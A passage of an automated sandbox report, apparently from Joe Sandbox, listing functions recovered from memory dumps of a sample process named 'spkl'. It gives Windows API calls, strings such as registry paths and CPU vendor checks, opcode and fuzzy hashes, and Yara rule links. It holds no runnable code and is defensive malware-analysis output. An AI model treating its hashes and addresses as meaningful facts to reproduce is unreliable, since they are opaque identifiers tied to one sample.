Instruction Fuzzy Hash: 94311570A04344AED721DBBACC52FAEBBE8EB09714F90847AF945E76C1CA7C9904C754

Function 0335AFA4 Relevance: 6.1, APIs: 4, Instructions: 64
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetThreadLocale.KERNEL32 ref: 0335AFCB
GetSystemMetrics.USER32(0000004A), ref: 0335AFF2
GetSystemMetrics.USER32(0000002A), ref: 0335B001
GetCPInfo.KERNEL32(00000000,?,0000002A,0000004A), ref: 0335B015

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: MetricsSystem$InfoLocaleThread
String ID:
API String ID: 1011932403-0
Opcode ID: 2d7693d31ee48a312012078112cdc5f22151501b420325bbc85e36930a1ef502
Instruction ID: 49de74f67308df7eac14fc9b1fb8e98ee4a63f2d12dc25410cf7bfe8c0a54e36
Opcode Fuzzy Hash: 2d7693d31ee48a312012078112cdc5f22151501b420325bbc85e36930a1ef502
Instruction Fuzzy Hash: AB117D0AA5978549D721FB749C41AFAFBD88F12210F4D8468FCE94B682E729C501D362

Function 033868C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessAffinityMask.KERNEL32(00000000), ref: 0338693E

Strings

99, xrefs: 03386924
kernel32.dll, xrefs: 03386906

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3370000_spkl.jbxd

Similarity

API ID: AffinityMaskProcess
String ID: 99$kernel32.dll
API String ID: 1682748466-4043654467
Opcode ID: 15153b06b69f6fb4426493ff4904d6b08807e98e9ab9060c3dece1b758ff8ff1
Instruction ID: d806d3391d1ead9fba629cb3b166db5536db0429edd49b74d767b06c801bfdc0
Opcode Fuzzy Hash: 15153b06b69f6fb4426493ff4904d6b08807e98e9ab9060c3dece1b758ff8ff1
Instruction Fuzzy Hash: 2D21E236E047159BC711FBB88CC2A8AF7E46F41270F184B61E974DB3C1EB22D95147A2

Function 00405F57 Relevance: 4.6, APIs: 3, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnhandledExceptionFilter.KERNEL32(00000006,00000000), ref: 0040614A
UnhandledExceptionFilter.KERNEL32(?,?,00000000,00000006), ref: 00406187
RtlUnwind.KERNEL32(?,?,?,00000000,?,?,?,?), ref: 004061B2

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$Unwind
String ID:
API String ID: 1141220122-0
Opcode ID: ab445c5dd401acfce8aa8a9b671399e6bbb764ba110892a62c9722f698784467
Instruction ID: 6bc31f3cf658b8099663ef5b1fe2bf8cdc9c999fafb2e068c4c88ba3489c8b57
Opcode Fuzzy Hash: ab445c5dd401acfce8aa8a9b671399e6bbb764ba110892a62c9722f698784467
Instruction Fuzzy Hash: 45318DB0604300AFE720EB11C884B27B7E9EB84710F16C5AEF5096B2D2C778EC51CA29

Function 033AE001 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,00000546,00001000,00000004), ref: 033AE0C4
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 033AE0FB

Strings

D)D, xrefs: 033AE04D

Memory Dump Source

Source File: 0000002E.00000002.3314432352.00000000033AE000.00000040.00001000.00020000.00000000.sdmp, Offset: 033AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_33ae000_spkl.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: D)D
API String ID: 2087232378-3173377644
Opcode ID: b32e89ac36447f315cc14c2f77d0aaa1fd9cf1fd8cdefe8fd169f85c8d04f1bb
Instruction ID: 48702faa2bb3056a2552fb028e34c279f82391b5d6db095cc451a28f55e28430
Opcode Fuzzy Hash: b32e89ac36447f315cc14c2f77d0aaa1fd9cf1fd8cdefe8fd169f85c8d04f1bb
Instruction Fuzzy Hash: 852108B2640288EFEF51DF64CD85BDE37A8EB58752F800116BD099F244D6F5A7048B2A

Function 03351FD8 Relevance: 3.1, APIs: 2, Instructions: 122COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(03398430), ref: 0335201B

Part of subcall function 03351904: LocalAlloc.KERNEL32(00000000,00000FF8,03398430,03398430,00000000,033519BA), ref: 03351957
Part of subcall function 03351904: RtlLeaveCriticalSection.NTDLL(03398430), ref: 033519B4

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: CriticalSection$AllocEnterLeaveLocal
String ID:
API String ID: 716609888-0
Opcode ID: 81c671480185500e2756036bc8d25b37ce491c5661ee09dbf150ab68eb060f51
Instruction ID: 726efe45970cabb3580a4b2bc66e6fd00310f3a84da094b1748f9f5b4f2a9cb8
Opcode Fuzzy Hash: 81c671480185500e2756036bc8d25b37ce491c5661ee09dbf150ab68eb060f51
Instruction Fuzzy Hash: C041B6B2A45304DFDB14DF68D8C0A1B77A9FB8A314F19867BE805CB745D7359981CB40

Function 03351904 Relevance: 3.0, APIs: 2, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000000,00000FF8,03398430,03398430,00000000,033519BA), ref: 03351957
RtlLeaveCriticalSection.NTDLL(03398430), ref: 033519B4

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: AllocCriticalLeaveLocalSection
String ID:
API String ID: 1361736381-0
Opcode ID: 96fd81c235e5e30de10ac13ddd0ccd79f544b6a1816fadda10d971c6ed522fa6
Instruction ID: e629df35721b4b557e312628047737f5ddff597dd2f2a398a50e45a16676ac3a
Opcode Fuzzy Hash: 96fd81c235e5e30de10ac13ddd0ccd79f544b6a1816fadda10d971c6ed522fa6
Instruction Fuzzy Hash: DA01C074E98300EEEF11FB6894C0F197A88DB87704F898527F941CF684CB7A44C087A2

Function 033AE10F Relevance: 3.0, APIs: 2, Instructions: 503memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 033AE343
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 033AE3DF

Memory Dump Source

Source File: 0000002E.00000002.3314432352.00000000033AE000.00000040.00001000.00020000.00000000.sdmp, Offset: 033AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_33ae000_spkl.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 0ef20ef31486968fd6e1db149edee5e259f642605a3ca6a776f865cc95688f01
Instruction ID: 8577febe938a46b0db97752a144aa9941ba93f62f66f80fa251eb1b83953693f
Opcode Fuzzy Hash: 0ef20ef31486968fd6e1db149edee5e259f642605a3ca6a776f865cc95688f01
Instruction Fuzzy Hash: 29B10672604B89DFDB21CF68CCC4AA977E8FF45711F480169ED499B241E370AB41CB5A

Function 0335141C Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000001,?,?,?,03351725), ref: 0335144B
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,03351725), ref: 03351472

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7a2f8a2343c3c5e89655abd6553bf481540b3cce18caec816eeba24fea5de5d9
Instruction ID: 9d75f7072e2fa9aad2eb6deb54a64d1b525f54b6f5ba3b767484c4107e042dd7
Opcode Fuzzy Hash: 7a2f8a2343c3c5e89655abd6553bf481540b3cce18caec816eeba24fea5de5d9
Instruction Fuzzy Hash: DBF027B7F0172057EF20DA694CC0F5265A89F86791F494071FE4CEF7C8D6A14C8243A1

Function 0040ADAC Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

GetSystemDefaultUILanguage.KERNEL32(?,?,?,00000000,00000105,00000000,0040AF4B,?,?,?,00000000), ref: 0040AEEC

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: DefaultLanguageSystem
String ID:
API String ID: 4166810957-0
Opcode ID: 66a4d2a00d45827909e64d4115acc47836f2faef788d0f19d7f6b1eb0cd9adfa
Instruction ID: d8529c3a86b5486bf577bb49881e36b276531488797953cddac343c358fd6839
Opcode Fuzzy Hash: 66a4d2a00d45827909e64d4115acc47836f2faef788d0f19d7f6b1eb0cd9adfa
Instruction Fuzzy Hash: 62417471A443199BD720EB65DC8978AB3F5AF58304F5005F6E008B32D2DB78AE948E5A

Function 0040AB9C Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040AC56,?,04590FE0,00869044,?,00409D6C,04590FE0,?,0000020A,04590FE0,00869044,00409DAD), ref: 0040ABD8

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 6dfcb00e295d27a0b4735b36a0dbacd346025578fc11e0d51805ccceb5b76337
Instruction ID: 771ce1d65e53cd220824622077c18220499e43e131d77fe26079b548053c9918
Opcode Fuzzy Hash: 6dfcb00e295d27a0b4735b36a0dbacd346025578fc11e0d51805ccceb5b76337
Instruction Fuzzy Hash: 7611987194821C9BDB24EB60CD86BDE73B9DB14304F5144BAB508B32D1DA785F848A9A

Function 03355E98 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(033984D4,?,00000105), ref: 03355EAF

Part of subcall function 03354CB8: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03354CD4
Part of subcall function 03354CB8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03354CF2
Part of subcall function 03354CB8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F003F,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03354D10
Part of subcall function 03354CB8: RegQueryValueExA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000005,00000000,03354D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?), ref: 03354D4A
Part of subcall function 03354CB8: RegQueryValueExA.ADVAPI32(?,03354EB0,00000000,00000000,00000000,00000005,?,00000000,00000000,00000000,00000000,00000005,00000000,03354D84,?,80000001), ref: 03354D68
Part of subcall function 03354CB8: RegCloseKey.ADVAPI32(?,03354D8B,00000000,00000000,00000005,00000000,03354D84,?,80000001,Software\Borland\Locales,00000000,000F003F,?,00000000,?,00000105), ref: 03354D7E

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: FileModuleNameOpenQueryValue$Close
String ID:
API String ID: 1918644479-0
Opcode ID: e895e879e2b94dc80d4bbdb42e725bba35bb7c007f3a4d19102335d01ce4d5e1
Instruction ID: e86ba231384d832ebb8afd02d834df7138684dedac4f92010428f7a2567f9c55
Opcode Fuzzy Hash: e895e879e2b94dc80d4bbdb42e725bba35bb7c007f3a4d19102335d01ce4d5e1
Instruction Fuzzy Hash: 2BE086B9E49305DFEB40FFA8ACC2D4633DC5B45324F92002A7E48CB348D779A5444752

Function 03372628 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsA.KERNEL32(03397384,?,00000400), ref: 03372641

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3370000_spkl.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 512f89a7e4471f5241f0e18c121153ab39a80948756d677119bce37875907849
Instruction ID: 28e479d08b9c172f84c55abd9e61595c6164ccdc328a30a6467e5c8c410a9c1c
Opcode Fuzzy Hash: 512f89a7e4471f5241f0e18c121153ab39a80948756d677119bce37875907849
Instruction Fuzzy Hash: 0FD012E6F402005BD600E6989CC2F56328C5788220F5440657F08CB384DB3ED91653A6

Function 03383980 Relevance: 1.5, APIs: 1, Instructions: 8networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000101), ref: 0338398C

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3370000_spkl.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 0c9d6614d9c0cb858996eecfc190351fdd23d85332d1e7ea85c7d5c62810d407
Instruction ID: dbb073e75ce69132972a198229059923ef0604de8a95addbea88b9036785b7fc
Opcode Fuzzy Hash: 0c9d6614d9c0cb858996eecfc190351fdd23d85332d1e7ea85c7d5c62810d407
Instruction Fuzzy Hash: 89B0922EA0275022E64223759E53782384C9B41720F8C05A069A8842DBEA9B916800DB

Function 033514F8 Relevance: 1.3, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(FFFFFFFF,00000000,00008000), ref: 0335155C

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: eb981e150b7a5172f45e7dd51b3dcf04ae0c7bbce2d172521e90938556cfdbc0
Instruction ID: 614b68ec3bbfb95f08abbad7c5a27df261e6b23c2cec97f20960943b0c32bc24
Opcode Fuzzy Hash: eb981e150b7a5172f45e7dd51b3dcf04ae0c7bbce2d172521e90938556cfdbc0
Instruction Fuzzy Hash: 2421E571A08300AFDB00DF19C8C0A1ABBE5AF85760F18C969F8998B354D370E844CB96

Function 0040ACA0 Relevance: 1.3, APIs: 1, Instructions: 57stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,00000000,?,00000000,0040AD3D,?,?,?,00000000), ref: 0040AD0A

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: lstrcpyn
String ID:
API String ID: 97706510-0
Opcode ID: 62f58fe671fac46956649dfa42b4a06e9d9c51d22aeb2ca6305eae8df1c9bc3b
Instruction ID: 952477280eb2d073172a3deebbbadb697fdb28e29115ede6f0f0dc9af39f96bd
Opcode Fuzzy Hash: 62f58fe671fac46956649dfa42b4a06e9d9c51d22aeb2ca6305eae8df1c9bc3b
Instruction Fuzzy Hash: B211E371908308AFEB20DB68C886AAA77E8EF15314F5104B6F844A72C0D7B85D50972B

Function 03351644 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(00000000,00000000,00004000,?,?,?,03419DB8,0341DDBB,033518AB), ref: 0335169E

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: d40e2167aa9961142f0c6f779d4d0602dc6af4baf51702de942bb25c55a9294d
Instruction ID: 90f0cde573f4d61ffc9e508257c572b0d2c9c0ad9afaa093362dc30490dbb0e8
Opcode Fuzzy Hash: d40e2167aa9961142f0c6f779d4d0602dc6af4baf51702de942bb25c55a9294d
Instruction Fuzzy Hash: 8A01D476E462049FCB10EF28DCC0F2A77A8DB85324F19057CEE849B341D2326C4187A4

Function 00402AF8 Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,0013FFF0,00001000,00000004,?,00403107), ref: 00402B0E

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 7086043f854aeabdd748604502d9e9e754581baddf49906d5f90c171e79ab4a0
Instruction ID: 7676bbfaa4a99f35c6751e8613a9746da9d777a8880297b7060b3b7c351f590d
Opcode Fuzzy Hash: 7086043f854aeabdd748604502d9e9e754581baddf49906d5f90c171e79ab4a0
Instruction Fuzzy Hash: EAF03CB1B153008BDB149F799E49701BBE2BB89304F10813DE50DEB7D9E7B484458B04

Function 0337CE20 Relevance: 1.3, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000014,00001000,00000040,?,?,03389D8B,?,?,?), ref: 0337CE38

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3370000_spkl.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ceeecf08a72303951e241354dc0c2f572e87e4a0c55d7c79606d0b051d68b302
Instruction ID: 895a8220683103f81899d65d73c7ef84daaa1bb2de94fe20de06313f44dd22ee
Opcode Fuzzy Hash: ceeecf08a72303951e241354dc0c2f572e87e4a0c55d7c79606d0b051d68b302
Instruction Fuzzy Hash: EED002B13512206FE761D7999CC1F9267D8DB4D7A1F114162F71CDB2D5D1A15C004794

Function 0337CE40 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,00008000,0338D095,?,?,?,?,0338D183), ref: 0337CE52

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3370000_spkl.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c05045f593433393b09cbabe1be5b85960e83f5eac5fb2ffeb183714d4b899a7
Instruction ID: 8de303ea765084731088ac52fe6ad129d64490f1662f4898cd00b21690e1531c
Opcode Fuzzy Hash: c05045f593433393b09cbabe1be5b85960e83f5eac5fb2ffeb183714d4b899a7
Instruction Fuzzy Hash: 1DC092703601009FD280DB48CC81F0133A8BB89B00F004091B504CF2E4CA61A8008F00

Function 033534B8 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aad7afa6d2498a8bb38334858a41697025a96c39c0e89028e0bcd5edc0f24024
Instruction ID: 86f25eface65e81451b60be39a64ec38846e8803770d7acdf6aec3be93eefb2b
Opcode Fuzzy Hash: aad7afa6d2498a8bb38334858a41697025a96c39c0e89028e0bcd5edc0f24024
Instruction Fuzzy Hash: 7BF0B4762045429FA322DE5E9DC1D72F79DEB893B0349403AFD048B610C531D8908560

Function 0335C310 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c1107f8b1aa96d33511e628baa0921d8857aa11fc571ebf0d88f6f77e89a96
Instruction ID: 7615a8db5f362d46e46428f3c461de6f45f4be1124e8b8ba221e37a3dbada4bd
Opcode Fuzzy Hash: 10c1107f8b1aa96d33511e628baa0921d8857aa11fc571ebf0d88f6f77e89a96
Instruction Fuzzy Hash: A2F02B7CA1430C9ED617F7B854D0E2CBB9CEB96624B811411FC104F601DB288840867B

Function 03357650 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c45e69e87e8c0d194b88b7eb729f52060ac0642bc4977fd573525d8fbca6fbc5
Instruction ID: f2725159823690e754d3f728c69e7cb7594080124a0769ab54d851e90bca91a2
Opcode Fuzzy Hash: c45e69e87e8c0d194b88b7eb729f52060ac0642bc4977fd573525d8fbca6fbc5
Instruction Fuzzy Hash: 1FA00285712311478640A9FD5CC694941CD664C021365B8B5795BC7252D9599CA52114

Function 03352598 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de6db6290af37dea2ab8277eb6aa6582740d8284bc8927e082febee2ca0a3099
Instruction ID: 13d7ec2d0619628c9d3ff1c291277e821cdbf6e6e62246bac89b878aa81c9198
Opcode Fuzzy Hash: de6db6290af37dea2ab8277eb6aa6582740d8284bc8927e082febee2ca0a3099
Instruction Fuzzy Hash: C5B0123410A041812E20DF304CD7C6FD5C830001523CF0C11BC85C1540EB05C204E471

Non-executed Functions

Function 0040A700 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 152stringfileCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,?,?,0040AA03,00000000,0040AAC4,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,?,00000000,00000105), ref: 0040A764
lstrcpynW.KERNEL32(?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000,0040AAC4,?,80000001,Software\CodeGear\Locales,00000000,000F0019), ref: 0040A7D3
lstrcpynW.KERNEL32(?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000,0040AAC4,?,80000001), ref: 0040A81B
FindFirstFileW.KERNEL32(?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000,0040AAC4), ref: 0040A82E
FindClose.KERNEL32(?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03,00000000), ref: 0040A844
lstrlenW.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,kernel32.dll,?,?,?,?,0040AA03), ref: 0040A850
lstrcpynW.KERNEL32(0000005A,?,00000104), ref: 0040A88C
lstrlenW.KERNEL32(?,0000005A,?,00000104), ref: 0040A898
lstrcpynW.KERNEL32(?,0000005C,?,?,0000005A,?,00000104), ref: 0040A8BB

Strings

\, xrefs: 0040A862
GetLongPathNameW, xrefs: 0040A72B
kernel32.dll, xrefs: 0040A718

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: lstrcpyn$Findlstrlen$CloseFileFirst
String ID: GetLongPathNameW$\$kernel32.dll
API String ID: 426534248-3908791685
Opcode ID: fff4d093d4f64c9b8f0b0be4baa1e7ed36f96c168a4cb11f79d949cb4668dc06
Instruction ID: 08b204b8f9dcac002f665e27cc2fe3104c2839342c80bb952a0621304cfe6181
Opcode Fuzzy Hash: fff4d093d4f64c9b8f0b0be4baa1e7ed36f96c168a4cb11f79d949cb4668dc06
Instruction Fuzzy Hash: 4451A4B2D006189FCB10EAA4CD89BDE73BCAB04314F1489B6A144F72C1E778DE558B5A

Function 033805C8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(0000009C), ref: 03380652

Part of subcall function 03380A84: GetVersionExA.KERNEL32(?,?,00000000,?,03380615), ref: 03380ADB

GetVersionExA.KERNEL32(0000009C), ref: 03380621

Strings

System\CurrentControlSet\Control\ProductOptions, xrefs: 033806D4
WINNT, xrefs: 033806E3
ProductType, xrefs: 033806CF

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3370000_spkl.jbxd

Similarity

API ID: Version
String ID: ProductType$System\CurrentControlSet\Control\ProductOptions$WINNT
API String ID: 1889659487-3392522142
Opcode ID: a4274ecea6ca97a6a8bed58af155137d4b67531a76b51afbb946ade2c33b7afc
Instruction ID: b539c78b8a98f7083027d2a2b0f4ba2dc98bd8bd05d61a24bef23ebca743d0cb
Opcode Fuzzy Hash: a4274ecea6ca97a6a8bed58af155137d4b67531a76b51afbb946ade2c33b7afc
Instruction Fuzzy Hash: 4511C638A48348BEEB19FBB48CD1B9EB7ACDB46310F5400A6F445D6581D7348A4CCA11

Function 0335D280 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 92timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,00000000,0335D3DD), ref: 0335D358

Strings

\win386.swp, xrefs: 0335D310
\pagefile.sys, xrefs: 0335D2F0

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003351000.00000040.00001000.00020000.00000000.sdmp, Offset: 03351000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_3351000_spkl.jbxd

Similarity

API ID: LocalTime
String ID: \pagefile.sys$\win386.swp
API String ID: 481472006-523492860
Opcode ID: c1b4bdba3a368a81174d7bdef9ee9eb2e1f48b03eb1380fcb5fc5d91438bfb1e
Instruction ID: 8c523e645f249aed61b3c53e0fac31b6b10c2bfabf802759c98bbb7d902e0acf
Opcode Fuzzy Hash: c1b4bdba3a368a81174d7bdef9ee9eb2e1f48b03eb1380fcb5fc5d91438bfb1e
Instruction Fuzzy Hash: 4641FC38D0421EAACB51EFA4D8C0DEDF3B5EF15700F8085A1FC15A6614EB309E86CB54

Function 0040A298 Relevance: 4.6, APIs: 3, Instructions: 100COMMON

Download Yara Rule

APIs

IsValidLocale.KERNEL32(?,00000002,00000000,0040A3FF,?,?,?,00000000), ref: 0040A344
GetLocaleInfoW.KERNEL32(?,00000059,?,00000055,?,00000002,00000000,0040A3FF,?,?,?,00000000), ref: 0040A360
GetLocaleInfoW.KERNEL32(00000000,0000005A,?,00000055,00000000,00000059,?,00000055,?,00000002,00000000,0040A3FF,?,?,?,00000000), ref: 0040A371

Memory Dump Source

Source File: 0000002E.00000002.3273020427.0000000000401000.00000040.00000001.01000000.00000014.sdmp, Offset: 00401000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_401000_spkl.jbxd

Yara matches

Similarity

API ID: Locale$Info$Valid
String ID:
API String ID: 1826331170-0
Opcode ID: 6491b48216555f70a1019a6133b4d0416006fefd981fb9c7db9ab8d98f753c1e
Instruction ID: 1e92f35711aceb852ec481b770b894b8151f2946676c8c0ea368725d2e7ef4d1
Opcode Fuzzy Hash: 6491b48216555f70a1019a6133b4d0416006fefd981fb9c7db9ab8d98f753c1e
Instruction Fuzzy Hash: 9531AC7090470CABDB20DF61CC81BEFB7B9EB44700F4140BAE948B32C0D6796E908E1A

Function 0337B8B0 Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

ntel, xrefs: 0337BA49
Genu, xrefs: 0337BA42
ineI, xrefs: 0337BA50

Memory Dump Source

Source File: 0000002E.00000002.3314432352.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: false

Joe Sandbox IDA Plugin

